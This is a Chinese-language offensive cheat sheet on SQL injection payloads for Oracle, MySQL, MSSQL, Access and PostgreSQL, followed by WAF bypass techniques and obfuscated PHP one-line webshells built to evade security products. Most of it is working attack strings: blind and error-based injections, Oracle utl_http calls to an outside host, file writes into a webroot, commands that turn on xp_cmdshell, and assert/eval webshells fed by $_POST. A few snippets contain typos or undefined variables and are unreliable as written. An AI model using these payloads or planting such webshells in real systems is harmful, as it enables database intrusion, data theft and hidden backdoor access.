關係型資料庫

關係型資料庫:指採用了關係模型來組織資料的資料庫。

直白的說就是:關係型資料庫最典型的資料結構是表,由二維表及其之間的聯絡所組成的一個數據組織

當今主流的關係型資料庫有:OracleMicrosoft SQL ServerMySQLPostgreSQLDB2Microsoft AccessSQLiteMariaDB

Oracle

Oracle特性:

select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin
  • 位置一

    • 可利用其他控制字元替換空格:%00%09%0a%0b%0c%0d
    • 可利用其他符號:.
  • 位置二

    • 可利用其他控制字元替換空格:%00%09%0a%0b%0c%0d
  • 位置三

    • 可利用其他控制字元替換空格:%00%09%0a%0b%0c%0d
    • 可利用其他符號:+- %ad
  • 位置四

    • 可利用其他控制字元替換空格:%00%09%0a%0b%0c%0d
  • 位置五

    • 可利用其他控制字元替換空格:%00%09%0a%0b%0c%0d
    • 可插入字元:%24、`%30-%ff

MySQL

MySql語法:

  • 繞過逗號過濾
原碼:union select 1,2,3,4;
繞過:union select * from (select 1)a JOIN (select 2)b JOIN (select 3)c JOIN (select 4)d;

MySql特性:

select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin
  • 位置一

    • 可利用其他控制字元替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0
    • 可利用註釋符號:/**/#--+
    Select/**/*/**/from/**/[dbo].[Users]/**/where id =1
    • 可利用數學運算以及資料型別:news_id=1.1,news_id=1E0,news_id=\N
  • 位置二

    • 可利用其他控制字元替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0
    • 可利用註釋符號:/**/#--+
    • 可利用括號 :union(select 1,2)
  • 位置三

    • 可利用其他控制字元替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0
    • 可利用註釋符號:/**/#--+
    • 可利用其他符號:+- ~@
  • 位置四

    • 可利用其他控制字元替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0

    • 可利用註釋符號:/**/#--+

    • 可利用數學運算以及資料型別:union select user(),2.0from admin

      ​ union select user(),8e0from admin

      ​ union select user(),\Nfrom admin

  • 位置五

    • 可利用其他控制字元替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0
    • 可利用註釋符號:/**/#--+
  • 全域性位置

    • 可利用 反引號 號:
    union select 1 schema_name from `information_schema.SCHEMATA` limit 0,1)
    • 可利用內聯註釋:
    union select 1,(select(schema_name)from/*!12345information_schema.SCHEMATA*/ limit 0,1)
    • 可利用{}號:
    id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)
    • 可利用()號:
    id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)

MSSQL

MSSQL特性:

select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin
  • 位置一

    • 可利用其他控制字元替換空格:%01~%0F%11~%1F
    • 可利用註釋符號:/**/
    • 可利用數學運算以及資料型別:news_id=1.1,news_id=1e0,news_id=1-1
  • 位置二

    • 可利用其他控制字元替換空格:%01~%0F%11~%1F
    • 可利用註釋符號:/**/
    • 可利用冒號:union:slect
  • 位置三

    • 可利用其他控制字元替換空格:%01~%0F%11~%1F
    • 可利用註釋符號:/**/
    • 可利用其他符號:+- ~:.
  • 位置四

    • 可利用其他控制字元替換空格:%01~%0F%11~%1F

    • 可利用註釋符號:/**/

    • 可利用其他字元:%80~%FF

  • 位置五

    • 可利用其他控制字元替換空格:%01~%0F%11~%1F

    • 可利用註釋符號:/**/

    • 可利用冒號:union:select

    • 可利用其他字元::.%80~%FF

Access

Access特性:

select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin
  • 位置一

    • 可利用其他控制字元替換空格:%09%0a%0c%0d%16
  • 位置二

    • 可利用其他控制字元替換空格:%09%0a%0c%0d
  • 位置三

    • 可利用其他控制字元替換空格:%09%0a%0c%0d
    • 可利用其他符號:+- .=
  • 位置四

    • 可利用其他控制字元替換空格:%09%0a%0c%0d
  • 位置五

    • 可利用其他控制字元替換空格:%09%0a%0c%0d

PostgreSQL

資料庫特性

  • Postgresql 字串

    • Postgres 輸入的所有字串都被認為是 Unknown 型別
  • Unknown 型別有兩種輸入模式:
    • 單引號轉義模式;
    • 美元符逃逸模式;
  • 在單引號轉義模式中允許使用字首 E/U/B/X 表示轉義字串/Unicode 字串/位串。
    • 其中 E 表示進行 C 語言風格的轉義;
    • U 表示進行 Unicode 轉義,並支援自定義轉義符;
    • B 和 X 代表後續跟隨的是一個 bit 序列;

PostgreSQL特性:

select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin
  • 位置一

    • 可利用其他控制字元替換空格:%09%0a%0c%0d
    • 可利用其他符號:.!
  • 位置二

    • 可利用其他控制字元替換空格:%09%0a%0c%0d
  • 位置三

    • 可利用其他控制字元替換空格:%09%0a%0c%0d
    • 可利用其他符號:+- .~@
  • 位置四

    • 可利用其他控制字元替換空格:%09%0a%0c%0d
  • 位置五

    • 可利用其他控制字元替換空格:%09%0a%0c%0d
    • 可插入字元:%24%30-%ff

繞過方式:

  • 另類字符集編碼繞過

    即使用其他不同的編碼方式來配合繞過

編碼網址:https://www.compart.com/en/unicode/charsets

另附編碼方式對應的網站型別:

非關係型資料庫

非關係型資料庫都是針對某些特定的應用需求出現的,因此,對於該類應用,具有極高的效能。

主流代表為RedisAmazon DynamoDBMemcachedMicrosoft Azure Cosmos DBHazelcast

如何判斷各資料庫

Oracle MySQL MSSQL PostgreSQL
獲取長度 length()、lengthb() length()、char_length()
獲取版本 select wm_concat(banner) from v$version; @@version、version() @@version version()
連線字串 'abc' || 'def' 'abc' 'def' 'abc'+'def'、'abc'|'def' 'abc'||'def'

注意:

  1. Oracle 只能用 substr ()不能使用 substring()
select substr('HelloWorld',5,3) value from dual;    //返回結果:oWo
  1. 使用如下可判斷是否為Oracle
(Select user from dual)>0
  1. #註釋符為MySQL獨有

SQL注入總結

繞過過濾規則

  1. 使用空位元組%00等繞過WAF
  2. 過濾空格的情況,使用 tab 或%09 或/**/代替:
'%09o+r%091=(select%09cast((decode((ascii(substr((select%09user%09from%09dual),'1',1))),73,'1','yy'))%09as%09int)%09from%09dual)%09o+r%09'1'='1
  1. 過濾 and 和 or 的情況,在中間加一個被過濾字元、或使用&&和||代替
  2. CONCAT('0x',HEX('c:\boot.ini'));
  3. (CHaR(75)||CHaR(76)||CHaR(77))(使用+或||或 concat)

主流資料庫注入案例

Oracle 注入

  1. Time-based
Select utl_http.request('http://host/ '||({INJECTION})||'.html')

select httpuri_type('{IP/INJECTION}').getclob() from dual

'||(cast((decode(bitand((select dbms_pipe.receive_message('a',3)
from dual),1),1,1,'bbb')) as int))||'
  1. Error-based
1=2 or 1=ordsys.ord_dicom.getmappingxpath({SQL in HERE},'a','b');

1=2 or 1=ctxsys.ctx_query.chk_xpath(user,'a','b');

123 and 1=utl_inaddr.get_host_name/address(({SQL in HERE}));  /*兩個括號*/

123 and 1=ctxsys.drithsx.sn(1,(SQL in HERE))

' or 1=decode((select length(user) from dual),6,1,(selectchar(39) from dual));     /*Decode()方式*/
  1. 按位數猜字元
'||(cast((decode(bitand(ascii((select substr(({SQL injection}),1,1) from dual)),1),0,1,'bbb')) as int))||';

select 1 from dual where 'aaa'=decode(greatest(user,'S'),'S','aaa','');
  1. order by 注入
select id,name from usertest order by decode(1,cast((select decode(({SQL injection}),{猜測的內容},1,'a') from dual) as int),1,1);

select id,name from usertest order by cast(cast((select decode(({select length(user) from dual }),{猜測的內容},1,'a') from dual) as int) as int);
Tips
  1. 獲取賬戶資訊
select name, password, astatus from sys.user$;
  1. 獲取當前使用者
select username from user_users/all_users/dba_users;
  1. 是否為 DBA 登入
select sys_context('USERENV','ISDBA') from dual;
  1. 獲取當前使用者名稱
select sys_context('USERENV','SESSION_USER') from dual;
select sys_context('USERENV','CURRENT_USER') from dual;
  1. 獲取當前終端
select userenv('terminal') from dual;
select sys_context('USERENV','TERMINAL') from dual;
select sys_context('USERENV','HOST') from dual;
select REPLACE(SUBSTR(sys_context('USERENV','HOST'),1,30),'\',':') from dual;
  1. 獲取系統使用者名稱
select sys_context('USERENV','OS_USER') from dual;
  1. 獲取資料庫名
select sys_context('USERENV','DB_NAME') from dual;
  1. 獲取當前 IP
select sys_context('USERENV','IP_ADDRESS') from dual;
  1. 獲取當前資料庫
select global_name from global_name;
select sys.database_name from dual;
select name from v$database;
select instance_name from v$instance;
  1. 獲取表名
select table_name from all_tables where owner='xxx';
  1. 獲取列名
select owner,table_name,column_name from all_tab_columns where table_name='xxx';
select owner,table_name,column_name from all_tab_cols where table_name='xxx';

MySQL 注入

  1. Time-based
Sleep(10)

benchmark(10000000,sha1('aaa'))
  1. Error-based
# 大整數溢位報錯
Where id=1 and !(Select * from (select user())x)-~0; and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1)); and extractvalue(1, concat(0x5c, (select table_name frominformation_schema.tables limit 1))); # Floor() + rand() + group by
Id=1 and (select 1 from (selectcount(*),concat(version(),floor(rand(0)*2))x frominformation_schema.tables group by x)a); Id=1 and (select count(*) from (select 1 union select nullunion select !1)x group by concat((select table_name frominformation_schema.tables limit 1),floor(rand(0)*2)));
  1. Error-based / blind
# insert into 注入

insert test1 value(5,'' or if({substr((selectuser()),1)='root@localhost'},sleep(5),'a') or '' );

insert test1 value('foo', 'bar'+asci(substr(user(),1,1))+'');    /*字元與數字用+號連線時,字元會被忽略*/

insert test1 value('foo', ''+ conv(hex(substr((select@@version),1)),16,10)+'');    /*將要查詢的內容轉為
10 進位制寫入*/
  1. order by 注入
Order by id,if(1=1,1,(select 1 from information_schema.tables));

select id,name from test1 order by id,!(select*from(select user())x)-~0;
Tips
  1. 寫入檔案
Select '0x123456789' into outfile '/webroot/evil.txt'
  1. 獲取列名
select id,user,pwd from user where user='root' and left(pwd,0)= '';

MSSQL 注入

  1. Time-based
;waitfor delay‘0:0:5’;
  1. Error-based
?id=@@version;
Tips
  1. 判斷是否開啟 xp_cmdshell
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell');
  1. 開啟 xp_cmdsell
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

PortgreSQL 注入

  1. Time-based
Pg_sleep(5);
  1. Error-based
注入語句示例
&()o1: select * from users where id=1 or (\)=1 union select 1,@@VERSION -- 1
&no.&: select * from users where id=1 or $<\. or 1=1 -- 1
sUE1n: select * from users where id='1' union select 1a,banner from v$version where rownum=1 -- 1'
s{{s: select * from users where id=1 or "{{" or 1=1 -- 1
so,s: select * from users where id=1 or "%," or 1=1 -- 1

WAF及繞過姿勢

什麼是WAF?

WAF全稱Web application firewall,

WAF的主流形態有哪些?

雲WAF:阿里雲盾、騰訊網站管家、創宇盾、CloudFlare等

軟體類:安全狗、雲鎖、360主機衛士、ModSecurity等

硬體類:啟明星辰、綠盟、天融信、飛塔等

WAF的繞過角度:架構規則特性協議

0X01 架構層面繞過

1、 尋找真實IP

  • 雲WAF通過修改DNS解析隱藏了真實IP地址
  • 查詢域名解析記錄
  • 利用郵件傳送功能來抓包,獲取真實IP

2、 畸形資料包 BYPASS

  • GET型請求轉POST型
  • Content-Length頭長度大於4008
  • 正常引數放在垃圾資料後面

0X02 規則特性繞過

1、IIS+ASP 繞過(%)

​ 特殊符號%,在該環境下當們我輸入s%elect的時候,在WAF層可能解析出來的結果就是s%elect,但是在iis+asp的環境的時候,解析出來的結果為select。

2、IIS+aspx 繞過(%u)

​ IIS伺服器支援對於unicode的解析,如 s%u006c%u0006ect,IIS收到之後會被轉換為select,但對於WAF層,可能還是 s%u006c%u0006ect 。

WAF:s%u006c%u0006ect * from user;
IIS:select * from user;
字元 Unicode編碼
a %u0000,%u0041,%u0061,%u00aa,%u00e2
單引號 %u0027,%u02b9,%u02bc,%u02c8,%u2032,%uff07,%c0%27,%c0%a7,%e0%80%a7
空白 %u0020,%uff00,%c0%20,%c0%a0,%e0%80%a0
左括號 %u0028,%uff08,%c0%28,%c0%a8,%e0%80%a8
右括號 %u0029,%uff09,%c0%29,%c0%a9,%e0%80%a9

3、IIS+asp|aspx(HPP)

​ HPP是指HTTP引數汙染 HTTP Parameter Pollution。當查詢字串多次出現同一個引數時,根據容器不同會得到不同的結果。

​ 例如對於下面的urlhttp://www.xxx.com/HttpPar.php?str=hello&str=world&str=xxser來說:php在取值時只輸出最後一個引數,輸出為:xsser。而對於urlhttp://xxx.xxx.com/HttpParServlet?str=hello&str=world&str=xxser來說,HttpParServlet.java取到的結果為hello,這就是HTTP引數汙染。

​ WAF繞過示例:

PHP:News.php?id=1&id=select username,password from admin--
WAF取值為1,而PHP取值為select username,password from admin-- Asp.net:News.aspx?id=1;&id=s&id=e&id=l&id=e&id=c&id=t
Asp.net則會將多個相同的引數項的值連線起來。

下表中列舉了一些主流環境下的HPP情況以供查閱:

Technology/HTTP back-end Overall Parsing Result Example
ASP.NET/IIS All occurrences of the specific parameter Par1=val1,val2
ASP/IIS All occurrences of the specific parameter Par1=val1,val2
PHP/Apache Last occurrence Par1=val2
PHP/Zeus Last occurrence Par1=val2
Jsp,Servlet/Apache Tomcat First occurrence Par1=val1
Jsp,Servlet/Oracle Application Server 10g First occurrence Par1=val1
Jsp,Servlet/Jetty First occurrence Par1=val1
IBM Lotus Domino Last occurrence Par1=val2
IBM HTTP Server First occurrence Par1=val1
mod_perl,libapreq2/Apache First occurrence Par1=val1
Perl CGI/Apache First occurrence Par1=val1
mod_perl,lib???/Apache Becomes an array ARRAY(0x8b9059c)
mod_wsgi(Python)/Apache First occurrence Par1=val1
Python/Zope Becomes an array [‘val1’,‘val2’]
IceWarp Last occurrence Par1=val2
AXIS 2400 All occurrences of the specific parameter Par1=val1,val2
Linksys Wireless-G PTZ Internet Camera Last occurrence Par1=val2
Ricoh Aficio 1022 Printer First occurrence Par1=val1
webcamXP PRO First occurrence Par1=val1
DBManAll occurrences of the specific parameter Par1=val1~~val2

4、Apache 2.x (畸形method)

​ 某些WAF在處理資料的時候嚴格按照GET、POST等標準HTTP方法來獲取資料,或者採用正則匹配的方式來處理資料,可能因為WAF和WEB服務解析的前後不對等繞過WAF。

​ 示例如下,某些apache版本在做GET請求的時候,無論method為何值均會取出GET的內容:

5、Nginx+Lua WAF(突破引數限制)

​ WAF在實際環境中為防止拒絕服務式攻擊 (denial of service attacks),預設最多解析前 100 個請求引數 (包括同名的),更多的引數將直接忽略。

預設情況下,通過ngx.req.get_uri_args、ngx.req.get_post_args獲取uri引數,只能獲取前100個引數

存在環境:Nginx+Lua WAF

6、PHP(變換請求方式)

​ 假如php裡使用$_REQUEST獲取引數,那麼php獲取引數的預設優先順序是:$_COOKIE > $_POST > $_GET。此時WAF層只過濾get/post,但沒有過濾cookie,於是導致了繞過。

​ 如下圖,即使更換了HTTP請求方法,仍然完成了資料傳遞。

7、PHP + Apache (畸形的boundary)

​ PHP在解析multipart data的時候有自己的特性,對於boundary的識別,只取了逗號前面的內容,例如我們設定的boundary為----aaaa,123456,PHP解析的時候只識別了----aaaa,後面的內容均沒有識別。然而其他的如WAF在做解析的時候,有可能獲取的是整個字串,此時可能就會出現BYPASS。

WebShell介紹及繞過

Webshell原理

Webshell的惡意性(Backdoor)表現在它的實現功能上,是一段帶有惡意目的的正常指令碼程式碼。

Webshell繞過

  • 中國菜刀
  1. 接收的引數內部混淆加密過WAF Content-Type:application/x-www-form-urlencoded
  2. 修改User-Agent
  3. 在伺服器端解密的webshell
  • XISE菜刀
  1. URLdecode
  • SpiderEval
  1. 傳遞的引數中chr()+base64
  • 蟻劍
  1. base64 payload前增加幾個字元
  2. 打破4的倍數使base64無法正常解碼
  3. 生成一個隨機的字元加在原始payload之前,再在一句話客戶端忽略第一個字元
  • 冰蠍
  1. Get形式發起帶密碼的握手請求
  2. 客戶端利用AES加密,傳送至服務端
  3. 服務端收到之後先進行AES解密
  4. 服務端利用explode函式將拆分為一個字串資料
  5. 可變函式方式呼叫索引為0的陣列元素

PHP一句話繞過

1. 字串變形繞過

字串變形多數用於BYPASS安全狗,相當對於D盾,安全狗更加重視"形" 一個特殊的變形就能繞過安全狗

ucwords()    //函式把字串中每個單詞的首字元轉換為大寫。

ucfirst()    //函式把字串中的首字元轉換為大寫。

trim()       //函式從字串的兩端刪除空白字元和其他預定義字元。

substr_replace()    //函式把字串的一部分替換為另一個字串

substr()     //函式返回字串的一部分。

strtr()      //函式轉換字串中特定的字元。

strtoupper() //函式把字串轉換為大寫。

strtolower() //函式把字串轉換為小寫。

strtok()     //函式把字串分割為更小的字串

str_rot13()  //函式對字串執行 ROT13 編碼。
  • substr_replace() 變形繞過
<?php
$a = substr_replace("assexx","rt",4);
$a($_POST['x']);
?>

2. 定義函式繞過

定義一個函式把關鍵詞分割達到bypass效果

<?php
function kdog($a){
$a($_POST['x']);
}
kdog(assert);
?> //或者 <?php
function kdog($a){
assert($a);
}
kdog($_POST['x']);
?>

3. 回撥函式繞過

call_user_func_array()

call_user_func()

array_filter()

array_walk()

array_map()

registregister_shutdown_function()

register_tick_function()

filter_var()

filter_var_array() 

uasort()

uksort()

array_reduce()

array_walk()

array_walk_recursive()

​ 回撥函式大部分已經被安全軟體加入全家桶套餐,所以找到一個生僻的不常用的回撥函式來執行,比如:

<?php
forward_static_call_array(assert,array($_POST['x']));
?>

4. 回撥函式變形繞過

因為前面總結出眾多回調函式已經被加入豪華套餐,所以可以定義個函式呼叫。

<?php
function test($a,$b){
array_map($a,$b);
}
test(assert,array($_POST['x']));
?>

5. 特殊字元干擾

<?php
$a = $_POST['a'];
$b = "\n";
eval($b.=$a);
?>

6. 陣列繞過

<?php
$b = substr_replace("assexx","rt",4);
$a = [''=>$a($_POST['q'])];
?>

7. 編碼繞過

簡單的base64_decode,其中因為正則匹配可以加入一些下劃線干擾

<?php
$a = base64_decode("YXNz+ZX____J____0");
$a($_POST['x']);
?>

總結

​ 所有的Bypass都是在隨著WAF的升級而不斷的變化,沒有唯一固定的繞過方式!